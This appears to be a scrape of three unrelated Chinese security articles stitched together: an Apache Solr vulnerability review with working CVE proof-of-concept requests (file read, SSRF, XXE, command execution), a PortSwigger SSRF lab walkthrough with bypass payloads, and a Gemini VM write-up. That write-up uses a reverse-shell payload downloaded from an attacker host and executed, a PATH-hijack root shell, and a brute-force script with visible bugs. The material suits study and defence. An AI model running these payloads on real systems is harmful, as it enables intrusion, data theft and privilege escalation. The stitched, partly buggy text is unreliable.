│ │ ├─metrics
│ │ ├─packagemanager
│ │ ├─parser解析器包
│ │ ├─pkg
│ │ ├─query查询功能处理
│ │ ├─request请求前置处理 SolrQueryRequestBase在这里
│ │ ├─response返回数据处理
│ │ ├─restrest功能，包含restApi处理逻辑
│ │ ├─schema模式定义
│ │ ├─searchsearch功能程序处理包
│ │ │ ├─join
│ │ │ ├─mlt
│ │ │ ├─similarities
│ │ │ └─stats
│ │ ├─security安全功能处理包
│ │ ├─servletServlet Filter Wrpper拓展处理
│ │ ├─spelling
│ │ ├─store
│ │ ├─uninverting
│ │ ├─update字段索引更新处理逻辑
│ │ └─util一些工具类
│ ├─resources
│ ├─test
│ └─test-files
├─dev-docs
├─docs
├─example 示例文件
│ ├─example-DIH
│ ├─exampledocs
│ ├─files
│ └─films
├─licenses各种许可和协议
├─server本地把Solr作为服务运行的必要文件都存放在这里
├─contexts启动Solr的Jetty网页的上下文配置
├─etcJetty服务器配置文件，在这里可以把默认的8983端口改成其他的
├─libJetty服务器程序对应的可执行JAR包和响应的依赖包
│ └─ext
├─logs日志将被输出到这个文件夹
├─moduleshttp\https\server\ssl等配置模块
├─resources存放着Log4j的配置文件
├─scriptsSolr运行的必要脚本
│ └─cloud-scripts
├─solr运行Solr的配置文件都保存在这里。solr.xml文件，提供全方位的配置；zoo.cfg文件，使用SolrCloud的时候有用。子文件夹/configsets存放着Solr的示例配置文件。各个生成的core也放在这里
以及configsets等
├─site
├─solr-ref-guide
├─solrjsolr的客户端程序
└─webapp管理界面的站点就存放在这里
## 4.启动过程
避免文章太长，放到这里了[https://xz.aliyun.com/t/9247](https://xz.aliyun.com/t/9247?fileGuid=It0Qkg2AiecFMx62)
### 5.源码中核心类
避免文章太长，放到这里了[https://xz.aliyun.com/t/9248](https://xz.aliyun.com/t/9248?fileGuid=It0Qkg2AiecFMx62)
## 6.Apache Solr中的路由
路由就直接根据 "/" 或者 ":"
写死了的，没有一点兼容性，看路由无非是想看对应哪些可以访问的handler，直接去Plugins/Stats里看就行，里面对应了每个url的处理类
调试过程中一些关键位置
这里的58 是冒号：
反斜杠
下面是调试过程中的一些路由列表
# 四、漏洞相关
## 1.漏洞概览
### 1.1.漏洞列表
名称 | 编号 | 危害 | 影响版本 | 备注
---|---|---|---|---
shards参数SSRF | CVE-2017-3164 | 高危 | 1.4.0-6.4.0 |
任意文件读取 | CVE-2017-3163 | 高危 | 同3164 |
XXE&RCE | CVE-2017-12629 | 高危 | <7.1.0 |
XXE | CVE-2018-1308 | 高危 | 1.2至6.6.2和7.0.0至7.2.1 |
XXE | CVE-2018-8026 | 高危 | 6.6.4, 7.3.1 |
反序列化RCE | CVE-2019-0192 | 高危 | 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5 |
RCE | CVE-2019-0193 | 高危 | < 8.2.0 |
RCE | CVE-2019-17558 | 高危 | 5.0.0版本至8.3.1 | 模板注入
任意文件上传 | CVE-2020-13957 | 高危 | Solr 8.6.2 之前
### 1.2.漏洞分布与关联
#### A.分布
多为扩展组件上出现漏洞
#### B.关联
无
### 1.3.漏洞过去、现在、未来
## 2.复现及分析
### 2.1. CVE-2017-3163
#### 2.1.1 复现
poc 如下
GET /solr/db/replication?command=filecontent&file=../../../../../../../../../../../../../a.txt&wt=filestream&generation=1 HTTP/1.1
Host: 192.168.33.130:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
复现截图
#### 2.1.2 分析
首先我们diff 下6.4.2 和6.4.0 看一下是怎么修复的
伤心，尝试了一下绕不过去，直接是在ReplicationHandler中做了过滤，根据之前分析的Solr启动过程的处理逻辑，再结合poc的url：/solr/db/replication，可以猜到肯定会走到ReplicationHandler的handlerequest方法，所以断点直接下到这里就可
在没有修复的版本里，没有任何过滤
直接读取了文件
修复之后，针对不同系统的文件分隔符将文件名拆分成一个迭代器，如果发现 ".."存在，就返回403
### 2.2 CVE-2017-3164
#### 2.2.1 复现
GET /solr/db/replication?command=fetchindex&masterUrl=http://d9rufs.dnslog.cn/xxxx&wt=json&httpBasicAuthUser=aaa&httpBasicAuthPassword=bbb HTTP/1.1
Host: 192.168.33.130:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
#### 2.2.2 分析
观察poc，path没变还是/db/replication，所以问题仍旧出在org/apache/solr/handler/ReplicationHandler.java
中，但是由于command=fetchindex，command嘚参数不同，所以会走到不同嘚处理逻辑，这里会进入最后一个
这里会开启另一个线程，进入doFetch嘚处理逻辑
最终会走到触发嘚地方
此时嘚调用栈
getLatestVersion:202, IndexFetcher (org.apache.solr.handler)
fetchLatestIndex:286, IndexFetcher (org.apache.solr.handler)
fetchLatestIndex:251, IndexFetcher (org.apache.solr.handler)
doFetch:397, ReplicationHandler (org.apache.solr.handler)
lambda$handleRequestBody$0:279, ReplicationHandler (org.apache.solr.handler)
run:-1, 939130791 (org.apache.solr.handler.ReplicationHandler$$Lambda$85)
run:-1, Thread (java.lang)
### 2.3CVE-2018-1308
#### 2.3.1 复现
POC：
POST /solr/db/dataimport HTTP/1.1
Host: 192.168.170.139:8983
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 208
command=full-import&dataConfig=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E
%3C!DOCTYPE+root+%5B%3C!ENTITY+%25+remote+SYSTEM+%22http%3A%2F%2F127.0.0.1:7777%2Fftp_xxe.xml%22%3E%25remote%3B%5D%3E
#### 2.3.2 分析
看请求的url就知道问题出在org.apache.solr.handler.dataimport.DataImportHandler，结合command以及dataConfig参数，很快可以定位到this.importer.maybeReloadConfiguration(requestParams,
defaultParams);
跟进org.apache.solr.handler.dataimport.DataImporter#maybeReloadConfiguration方法
继续跟进org.apache.solr.handler.dataimport.DataImporter#loadDataConfig，可以发现没有任何关于XXE的防御处理
修复,这里直接看最新版本的修复，这里的commit同时也修复了CVE-2019-0193，补丁增加了
enable.dih.dataConfigParam（默认为false）只有启动solr的时候加上参数-Denable.dih.dataConfigParam=true 才会被设置为true。
### 2.4 CVE-2017-12629
#### 2.4.1 复现
**XXE：**
[http://192.168.33.144:8983/solr/db/select?q=%7b%21%78%6d%6c%70%61%72%73%65%72%20%76%3d%27%3c%21%44%4f%43%54%59%50%45%20%61%20%53%59%53%54%45%4d%20](http://192.168.33.144:8983/solr/db/select?q={!xmlparser
v='<!DOCTYPE a SYSTEM
&fileGuid=It0Qkg2AiecFMx62)"[http://aaa.mryq4g.dnslog.cn">](http://aaa.mryq4g.dnslog.cn)'}&wt=xml
**RCE：**
POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 198
{
"add-listener" : {
"event":"newSearcher",
"name":"newlistener-1",
"class":"solr.RunExecutableListener",
"exe":"curl",
"dir":"/usr/bin/",
"args":["http://127.0.0.1:8080"]
}
}
#### 2.4.2 分析
**XXE**
其实是Lucene出现的漏洞，而Solr又是Lucenne作为核心语义分析引擎，所以受此漏洞影响，具体漏洞点在org.apache.lucene.queryparser.xml.CoreParser#parseXML
可以看见没有任何关于XMl解析XXE的防御，此时主要调用栈
parseXML:127, CoreParser (org.apache.lucene.queryparser.xml)
parse:115, CoreParser (org.apache.lucene.queryparser.xml)
parse:62, XmlQParserPlugin$XmlQParser (org.apache.solr.search)
getQuery:168, QParser (org.apache.solr.search)
prepare:160, QueryComponent (org.apache.solr.handler.component)
handleRequestBody:269, SearchHandler (org.apache.solr.handler.component)
handleRequest:166, RequestHandlerBase (org.apache.solr.handler)
execute:2306, SolrCore (org.apache.solr.core)
execute:658, HttpSolrCall (org.apache.solr.servlet)
call:464, HttpSolrCall (org.apache.solr.servlet)
doFilter:345, SolrDispatchFilter (org.apache.solr.servlet)
doFilter:296, SolrDispatchFilter (org.apache.solr.servlet)
修复，增加了XXE的通用防御
**RCE:**
这个都不太想调试了，问题类方法是org.apache.solr.core.RunExecutableListener#exec
官方修复呢也是直接把这个类删了
### 2.5 CVE-2018-8026
上传configset
解析配置文件xml时造成xxe，具体分析复现移步[https://xz.aliyun.com/t/2448](https://xz.aliyun.com/t/2448?fileGuid=It0Qkg2AiecFMx62)
具体看org.apache.solr.schema.FileExchangeRateProvider修复，都换成SafeXMLParsing了
### 2.6 CVE-2019-0193
#### 2.6.1 复现
POC:
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("calc");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
#### 2.6.2 分析
同样是DataImportHandler出问题
进入到Dataimport功能页面，开启debug，默认给出了如下xml
<dataConfig>
<dataSource driver="org.hsqldb.jdbcDriver" url="jdbc:hsqldb:${solr.install.dir}/example/example-DIH/hsqldb/ex" user="sa" />
<document>
<entity name="item" query="select * from item"
deltaQuery="select id from item where last_modified > '${dataimporter.last_index_time}'">
<field column="NAME" name="name" />
<entity name="feature"
query="select DESCRIPTION from FEATURE where ITEM_ID='${item.ID}'"
deltaQuery="select ITEM_ID from FEATURE where last_modified > '${dataimporter.last_index_time}'"
parentDeltaQuery="select ID from item where ID=${feature.ITEM_ID}">
<field name="features" column="DESCRIPTION" />
</entity>
<entity name="item_category"
query="select CATEGORY_ID from item_category where ITEM_ID='${item.ID}'"
deltaQuery="select ITEM_ID, CATEGORY_ID from item_category where last_modified > '${dataimporter.last_index_time}'"
parentDeltaQuery="select ID from item where ID=${item_category.ITEM_ID}">
<entity name="category"
query="select DESCRIPTION from category where ID = '${item_category.CATEGORY_ID}'"
deltaQuery="select ID from category where last_modified > '${dataimporter.last_index_time}'"
parentDeltaQuery="select ITEM_ID, CATEGORY_ID from item_category where CATEGORY_ID=${category.ID}">
<field column="DESCRIPTION" name="cat" />
</entity>
</entity>
</entity>
</document>
</dataConfig>
entity
标签中支持执行script，且支持jndi，也就是漏洞触发的地方，具体dataimport支持的功能参阅官方文档[https://solr.apache.org/guide/8_6/uploading-structured-data-store-data-with-the-data-import-handler.html](https://solr.apache.org/guide/8_6/uploading-structured-data-store-data-with-the-data-import-handler.html?fileGuid=It0Qkg2AiecFMx62)
补丁增加了
enable.dih.dataConfigParam（默认为false）只有启动solr的时候加上参数-Denable.dih.dataConfigParam=true 才会被设置为true。利用失败如下
### 2.7 CVE-2019-0192
#### 2.7.1 复现
[https://github.com/mpgn/CVE-2019-0192/](https://github.com/mpgn/CVE-2019-0192/?fileGuid=It0Qkg2AiecFMx62)
#### 2.7.2 分析
Solr支持动态的更新配置，但是更新的并不是Solrconfig.xml 而是configoverlay.json
官方文档参考如下
> Config API可以使用类似REST的API调用来处理您的solrconfig.xml的各个方面。
>
> 此功能默认启用，并且在SolrCloud和独立模式下的工作方式类似。许多通常编辑的属性（如缓存大小和提交设置）和请求处理程序定义可以使用此API进行更改。
>
> 使用此API时，solrconfig.xml不会更改。相反，所有编辑的配置都存储在一个名为configoverlay.json的文件中。该configoverlay.json中值覆盖solrconfig.xml中的值。
所以加载core的时候自然会加载configoverlay.json文件，问题也出在这里，精心构造的configoverlay.json可以触发org.apache.solr.core.SolrConfig的危险构造方法
public SolrConfig(SolrResourceLoader loader, String name, InputSource is) throws ParserConfigurationException, IOException, SAXException {......}
进而触发org.apache.solr.core.SolrCore#initInfoRegistry
修复，新版本直接不支持jmx
### 2.8 CVE-2019-17558
#### 2.8.1 复现
#### 2.8.2 分析
Velocity模板引擎注入首先触发的话，需要通过config
api开启模板引擎开关params.resource.loader.enabled，Solr提供给管理员方便管理的配置api，正常功能，由于Solr默认安装为未授权，所以攻击者可以直接配置
再看下模板命令执行，是返回内容进行模板渲染的时候发生的代码注入
org.apache.solr.servlet.HttpSolrCall#writeResponse
org.apache.solr.response.QueryResponseWriterUtil#writeQueryResponse
最后进入到模板引擎渲染阶段org.apache.solr.response.VelocityResponseWriter#write
此时部分调用炸
write:151, VelocityResponseWriter (org.apache.solr.response)
writeQueryResponse:65, QueryResponseWriterUtil (org.apache.solr.response)
writeResponse:732, HttpSolrCall (org.apache.solr.servlet)
call:473, HttpSolrCall (org.apache.solr.servlet)
doFilter:345, SolrDispatchFilter (org.apache.solr.servlet)
### 2.9 CVE-2020-13957
官方API参考文档
[https://lucene.apache.org/solr/guide/8_4/configsets-api.html#configsets-api](https://lucene.apache.org/solr/guide/8_4/configsets-api.html#configsets-api?fileGuid=It0Qkg2AiecFMx62)
首先准备配置文件
docker cp c3:/opt/solr-8.2.0/server/solr/configsets/_default/conf ./
修改solrconfig.xml velocity.params.resource.loader.enabled:false 为true
目录如下
压缩为zip，通过Configset API上传到服务器
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @sssconfigset.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=sssConfigSet"
配置文件上传成功
通过API创建新的collecton，或者从前台创建也可
创建成功
执行命令
其实是官方正常功能
### 2.10 全版本任意文件读取(官方拒绝修复)
默认安装未授权情况下，各项配置皆为默认
下载Solr最新版本
[http://archive.apache.org/dist/lucene/solr/8.80/solr-8.8.0.tgz](http://archive.apache.org/dist/lucene/solr/8.7.0/solr-8.7.0.tgz?fileGuid=It0Qkg2AiecFMx62)
#
**POC**
curl -d '{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.33.130:8983/solr/db/config -H 'Content-type:application/json'
curl "http://192.168.33.130:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url=file:///C:/a.txt"
#### **复现**
**1.第一步**
curl -d '{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.33.130:8983/solr/db/config -H 'Content-type:application/json'
2.第二步
curl "http://192.168.33.130:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url=file:///C:/a.txt"
## 3.漏洞信息跟进
[https://cwiki.apache.org/confluence/display/solr/SolrSecurity](https://cwiki.apache.org/confluence/display/solr/SolrSecurity?fileGuid=It0Qkg2AiecFMx62)
[https://issues.apache.org/jira/browse/SOLR](https://issues.apache.org/jira/browse/SOLR?fileGuid=It0Qkg2AiecFMx62)
## 4.厂商防护及绕过思路
这种组件直接放内网就好了，或者一定配置身份校验，且Solr路由写的比较死，厂商提取规则时只要将url过滤完整即可，不会存在绕过情况。
绕过的话，虽然说每个漏洞url较为固定，但是每个功能的触发点皆为每个core或collection，core的名称包含在url中，且生产环境中为用户自定义，很多规则编写者通常只将示例example加入检测，可绕过几率很高。
# 四、个人思考
Apache Solr整体默认安装为未授权，且大部分资产都为未授权，提供众多api接口，支持未授权用户通过config api更改配置文件，攻击面较大。
# 五、参考链接
[https://solr.apache.org/guide/8_6/](https://solr.apache.org/guide/8_6/?fileGuid=It0Qkg2AiecFMx62)
[https://caiqiqi.github.io/2019/11/03/Apache-Solr%E6%BC%8F%E6%B4%9E%E5%90%88%E9%9B%86/](https://caiqiqi.github.io/2019/11/03/Apache-Solr%E6%BC%8F%E6%B4%9E%E5%90%88%E9%9B%86/?fileGuid=It0Qkg2AiecFMx62)
[https://baike.baidu.com/item/apache%20solr](https://baike.baidu.com/item/apache%20solr?fileGuid=It0Qkg2AiecFMx62)
[https://cwiki.apache.org/confluence/display/solr/SolrSecurity](https://cwiki.apache.org/confluence/display/solr/SolrSecurity?fileGuid=It0Qkg2AiecFMx62)
[https://www.jianshu.com/p/03b1199dec2c](https://www.jianshu.com/p/03b1199dec2c?fileGuid=It0Qkg2AiecFMx62)
[https://zhuanlan.zhihu.com/p/71629409](https://zhuanlan.zhihu.com/p/71629409?fileGuid=It0Qkg2AiecFMx62)
[https://issues.apache.org/jira/browse/SOLR-12770](https://issues.apache.org/jira/browse/SOLR-12770?fileGuid=It0Qkg2AiecFMx62)
[https://xz.aliyun.com/t/8374](https://xz.aliyun.com/t/8374?fileGuid=It0Qkg2AiecFMx62)
[https://www.ebounce.cn/web/73.html](https://www.ebounce.cn/web/73.html?fileGuid=It0Qkg2AiecFMx62)
[https://developer.aliyun.com/article/616505](https://developer.aliyun.com/article/616505?fileGuid=It0Qkg2AiecFMx62)
[https://www.jianshu.com/p/d3d83b6cb17c](https://www.jianshu.com/p/d3d83b6cb17c?fileGuid=It0Qkg2AiecFMx62)
[https://www.cnblogs.com/leeSmall/p/8992708.html](https://www.cnblogs.com/leeSmall/p/8992708.html?fileGuid=It0Qkg2AiecFMx62)
[https://zhouj000.github.io/2019/01/24/solr-6/](https://zhouj000.github.io/2019/01/24/solr-6/?fileGuid=It0Qkg2AiecFMx62)
[https://juejin.im/post/6844903949116391431](https://juejin.im/post/6844903949116391431?fileGuid=It0Qkg2AiecFMx62)
[http://codingdict.com/article/9427](http://codingdict.com/article/9427?fileGuid=It0Qkg2AiecFMx62)
[https://xz.aliyun.com/t/2448](https://xz.aliyun.com/t/2448?fileGuid=It0Qkg2AiecFMx62)
[https://xz.aliyun.com/t/1523#toc-1](https://xz.aliyun.com/t/1523#toc-1?fileGuid=It0Qkg2AiecFMx62)
[https://paper.seebug.org/1009/](https://paper.seebug.org/1009/?fileGuid=It0Qkg2AiecFMx62)
[https://xz.aliyun.com/t/4422](https://xz.aliyun.com/t/4422?fileGuid=It0Qkg2AiecFMx62) | 社区文章 |
# 梨子带你刷burpsuite靶场系列之服务器端漏洞篇 - 服务端请求伪造(SSRF)专题
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 本系列介绍
>
> PortSwigger是信息安全从业者必备工具burpsuite的发行商，作为网络空间安全的领导者，他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场)，在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习，本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考，希望能对初学者们有所帮助。
## 梨子有话说
>
> 梨子也算是Web安全初学者，所以本系列文章中难免出现各种各样的低级错误，还请各位见谅，梨子创作本系列文章的初衷是觉得现在大部分的材料对漏洞原理的讲解都是模棱两可的，很多初学者看了很久依然是一知半解的，故希望本系列能够帮助初学者快速地掌握漏洞原理。
## 服务器端漏洞篇介绍
> burp官方说他们建议初学者先看服务器漏洞篇，因为初学者只需要了解服务器端发生了什么就可以了
## 服务器端漏洞篇 – 服务端请求伪造(SSRF)专题
### 什么是SSRF？
SSRF全称是Server-Side Request Forgery，它就是攻击者诱使服务器向攻击者指定的域发送HTTP请求，可以用来建立恶意的连接
### 常规SSRF攻击
SSRF攻击主要是基于服务器对输入的绝对信任，因为绝对信任所以服务器无条件地执行输入中的指令，导致即使其中包含恶意命令也会执行
### 针对服务器本身的SSRF攻击
这种攻击方式就是攻击者诱使服务器向本地地址(127.0.0.1或localhost)的某些服务发送HTTP请求。
例如考虑这样一个应用程序，通过在HTTP请求中指定API的URL查询库存，例如这样的HTTP请求
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1
然后我们可以将stockApi修改为本地地址的管理界面
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://localhost/admin
由于服务器会无条件信任stockApi指定的URL并跳转到该URL，所以此时可以触发垂直越权进入管理界面。危害还是很大的。
为什么服务器会默认信任来自本地地址的请求呢，大概有如下原因
* 访问控制策略可能编写于前端，我们修改请求包的时候是已经通过了前端的，所以很容易就被绕过了
* 有的应用程序为了方便灾难恢复将服务器设置为任意用户都可访问，这就导致也会默认信任本地地址
### 配套靶场：针对服务器本身的基础SSRF攻击
刚讲过的知识点，我们随便将一个查询库存的请求发到repeater中，发现同样有stockApi参数
图中我们看到可以直接通过修改该参数访问管理页面，于是我们就可以利用这个漏洞删除指定用户了
我们成功解决这道题
### 针对其他后端系统的SSRF攻击
有的后端系统用户是无法直接访问的，但是服务器可以成功向其发送请求，所以如果利用ssrf同样可以向这些本不对用户开放的后端系统发出恶意请求。
### 配套靶场：针对其他后端系统的基础SSRF攻击
热乎的知识点，因为不知道具体是哪个IP，所以我们放到Intruder跑一下
从爆破结果得知目标后端系统了，然后将响应发到浏览器就可以进入管理面板删除指定用户了
### 绕过常规SSRF防护的手段
为了缓解SSRF攻击，有的应用程序会采取一些防护手段，但是针对常规的防护手段还是可以通过一些绕过方法绕过的
### 基于黑名单的输入过滤的SSRF
有的应用程序会在后端系统设置黑名单限制向本地地址发出的请求，但是我们可以通过其他形式的本地地址进行绕过，因为并不是所有形式的写法都在黑名单中，例如2130706433，017700000001和127.1，还有dns解析记录为本地地址的域名，如burp内置的域名spoofed.burpcollaborator.net，或者利用URL编码、大小写混用之类的混淆方法进行绕过
### 配套靶场：基于黑名单的输入过滤的SSRF
根据知识点我们对地址进行混淆
混淆以后就可以绕过防护机制进入管理面板删除指定用户了
### 基于白名单的输入过滤的SSRF
区别于黑名单，白名单就是只允许名单上的地址连接，但是有的应用程序的过滤机制匹配方法导致可以通过在不同位置夹带恶意目标地址进行绕过，例如
https://expected-host@evil-host
https://evil-host#expected-host
https://expected-host.evil-host
还可以利用与应用程序URL解码规则有差异的URL编码进行绕过，比如双重URL编码之类的
### 配套靶场：基于白名单的输入过滤的SSRF
因为不知道应用程序会对哪些连接符拦截，所以我们做一下fuzz测试
我们现在得知@是可用的连接符，因为这仅仅突破了第一道防线，下面我们要突破第二道防线即对本地地址的过滤
发现%2523，是对#的双重URL编码处理的，我们就可以成功删除指定用户了
### 通过开放重定向绕过SSRF过滤
有的应用程序请求的API支持添加一个可以指定重定向URL的参数，这就给了攻击者可乘之机，如果API
URL的过滤机制比较脆弱就会导致开放重定向漏洞进入本不允许访问的URL，比如攻击者可以构造这样的请求包
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin
因为API URL为应用程序允许请求的域名，并且支持设置重定向地址，所以我们可以利用这个漏洞向目标地址请求
### 配套靶场：通过开放重定向漏洞绕过有过滤的SSRF
我们先试一下常规的SSRF攻击手段能不能成功
发现并不能通过过滤器，但是我们发现有一个展示下一个产品的功能点，会触发重定向
所以我们可以将目标地址附在重定向参数中
然后会跳转到管理面板
我们成功删除指定用户了
### SSRF盲打
### 什么是SSRF盲打？
和sql盲注一样，就是不会在响应中得到SSRF攻击的反馈
### 如何寻找和利用SSRF盲打漏洞？
与sql盲注相同，ssrf盲打最佳利用方式就是通过带外技术接收响应结果。也是同样使用burp自带的简易带外平台collaborator。即使有一些HTTP流量会被拦截，也会因为不怎么拦截DNS流量而获取我们想要的结果。
有的情况还可以利用SSRF盲打对目标后端系统进行探测，比如探测目标网络中开放的主机及端口之类的，这些同样也可以通过带外通道接收到。
还有一种情况就是所谓的反弹shell了，burp在这里没有进行过多的讲解，有兴趣的小伙伴可以自行了解
### 配套靶场1：带有带外检测的SSRF盲打
题目中直接告诉我们Referer头存在SSRF盲打漏洞，于是我们把临时collaborator地址贴上去
然后我们在客户端接收到了发过来的DNS请求
我们看到只收到了DNS请求，说明是前面介绍的那种情况，仅会拦截HTTP流量
### 配套靶场2：带有shellshock利用的SSRF盲打
首先我们到burp插件市场装一个这个插件
从名字就能看出来这个插件可以对每一个点都进行collaborator测试以发现可以使用带外技术发送请求的点，为了方便插件进行测试，我们将靶场地址添加到scope中
然后在浏览器中随意访问靶场里的一些页面，插件就会自动开始探测了
从结果得知Referer和User-Agent两个位置可以使用带外技术发送请求，于是我们构造这样的payload
这样我们就能在客户端接收到结果了
我们知道了当前用户名是peter了，说明whoami不仅执行成功了，还把执行结果附加在URL中向指定的collaborator客户端发送请求了
### 如何寻找SSRF隐藏的攻击面？
burp总结了一些不太常发现SSRF的攻击面
### 请求中的部分URL
有的应用程序仅在请求中获取部分URL，然后在后端系统中再将其与剩余部分拼接成完整的URL，这就导致我们无法控制整个URL而很难利用SSRF攻击成功
### 数据格式内的URL
有的应用程序允许在某种数据格式中插入URL，这就涉及到我们下一个要讲的专题了，就是xxe注入漏洞专题，通过xxe注入可以发动ssrf攻击，我们会在下一专题中进行讲解
### 通过Referer头的SSRF
有的应用程序为了跟踪分析用户的浏览记录会总是访问Referer指定的URL中的内容，此时是最容易引发SSRF攻击的
## 总结
以上就是梨子带你刷burpsuite官方网络安全学院靶场(练兵场)系列之服务器端漏洞篇 – 服务端请
求伪造(SSRF)专题的全部内容啦，本专题主要讲了如何寻找和利用SSRF漏洞，发现这类漏洞往往危害很大，可以利用服务器的信任关系执行高危的命令，感兴趣的同学可以在评论区进行讨论，嘻嘻嘻。 | 社区文章 |
# V1
## 主机发现
arp-scan -l 发现主机ip为192.168.75.147。
nmap -p 1-65535 -T4 -A -sV 192.168.75.147进行一波全部端口的扫描。开启了22，80端口。
## 默认密码登陆
我们直接看一看80端口，在test2目录下开启了一个web应用。用dirb对其进行一波目录的扫描，好像没得到什么有用的东西。我应该要先登陆一个账号，但是也没有扫到注册的地方。但是在首页给出了项目的地址，在`install.php`中发现安装时会写入一个默认账号。
把MD5解密一下得到一个可用的账号。
`admin:1234`
## 神奇的pdf
登陆之后有两个功能。
编辑个人资料。
将个人资料导出pdf。
我们可以在修改名字的时候输入`<script>alert(1)</script>`产生xss。
在生成的pdf中我们可以看到这样的一个信息，export.php 使用了wkhtmltopdf 用与pdf的转换。
要是我们用google搜索`wkhtmltoimage
read`可以看到这样一个[issues](https://github.com/wkhtmltopdf/wkhtmltopdf/issues/3570)。wkhtmltoimage存在ssrf和文件读取漏洞。
wkhtmltopdf 会跟随302重定向，并且会解析我们的file协议读取本地的文件，并转换为PDF。如果我们在服务器上放置1.php。
<?php
$file = $_GET['file'];
header("location:file://$file");
然后在name处填上`<iframe src="http://192.168.75.131/1.php?file=/etc/passwd"
width="100%" height=1220></iframe>`可以读取到/etc/passwd。可以看到有一个gemini1 用户。
然后尝试读取一下/home/gemini1/.ssh/id_rsa，如果可以读到用户的私钥的那我们可以直接ssh链接上去。
到此我们获得了一个低权限的shell。
## SUID提权
uname -a
看一下内核版本是4.9.0，似乎没有直接可用的exp。这里要用到SUDI提权，可以看看这篇文章<https://www.anquanke.com/post/id/86979。>
先看看我们有哪些可以利用的文件。
有一个奇怪的listinfo，运行一哈，貌似是输出一些网络信息。用strings命令看看其中的字符。
可以看到其运行了date命令，并且未加上其绝对位置。这样的化，我们修改环境变量将date指向到我们构造好的shell之上，让root运行我们的shell，这样我们就可以提升我们的权限了。
创建一个1.c，然后上传到我们的靶机上，将其编译成date文件，并将环境变量指向date所在文件夹。
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash");
}
运行listinfo，get root!
# V2
## 主机发现
arp-scan -l 获得靶机ip 192.168.75.149，和v1一样也是只开启了22和80端口。
## 登陆admin
v1中的账号密码在v2中已经不再适用了。还是老样子先扫一波目录。得到了两个在v1中没有的目录。
先访问registration.php注册一个账号，但是登陆时提示需要我们填写邀请码。
正好activate.php就是填写邀请码的界面，而之前提示过了密码是6位数字。那么我们写个脚本爆破一下。
import requests
import re
s = requests.session()
def post(num):
url = 'http://192.168.75.149/activate.php'
cookie = {'PHPSESSID':'husbpgapgpkcdtpedtmn3uj5c7'}
proxies = {'http':'http://127.0.0.1:8080'}
t = s.get(url=url,cookies = cookie)
token = re.search("'hidden' name='token' value='(.*?)'>",t.text).group(1)
post_data = {'userid':16,'activation_code':num,'token':token}
t = s.post(url = url,cookies = cookie,data = post_data)
print(num)
return t
for i in range(0,100000):
t = post((6-len(str(i)))*'0'+str(i))
if t.status_code != 403:
print('get',num)
break
成功的得到验证码000511，然后访问一下users_list.php，看熟悉的Gemini用户。在html源码中可以看到被注释掉的passwd。md5解开我们得到admin的账户Gemini：secretpassword
。
<!-- <b>Password:</b> edbd1887e772e13c251f688a5f10c1ffbb67960d<br/> -->
登陆上admin的账号，可以看到多了一项功能`admin panel`但是访问确是403错误。抓个包看看，提示ip错误。
猜测必须要本地访问，http头加上`X-Forwarded-For:127.0.0.1`成功访问。
## 命令执行
admin功能中可以执行命令，但是没有回显也过滤了`空格，>符,|符`这样的化我们写入文件就遇到了个问题。但是空格我们可以用$IFS作为空格绕过。
尝试`wget$IFS'http://192.168.75.131/shell'`将shell下载到当前目录下，但是访问不到。然后经过一些尝试猜测该目录是不可写的。
于是我用`msfvenom -p linux/x64/shell_reverse_tcp Lhost=192.168.75.131 lport=23333
-f elf -o pwn`生成一个反弹shell，再让靶机把我们的shell下载到tmp目录下，并执行。
wget$IFS'-P'$IFS'/tmp/'$IFS'http://192.168.75.131/pwn'
chmod$IFS'777'$IFS'/tmp/pwn'
/tmp/pwn
这样我们收到了一个反弹shell，我们将我们的公钥写到/home/gemini1/.ssh/authorized_keys中，到此我们获得了一个低权限的shell。
## redis提权
同样的内核版本为4.9.0。
但是我们ps -ef|grep
redis，可以看到开启了redis并以root权限运行。那这样的化我们可以通过redis写入root的authorized_keys，从而提升我们的权限。
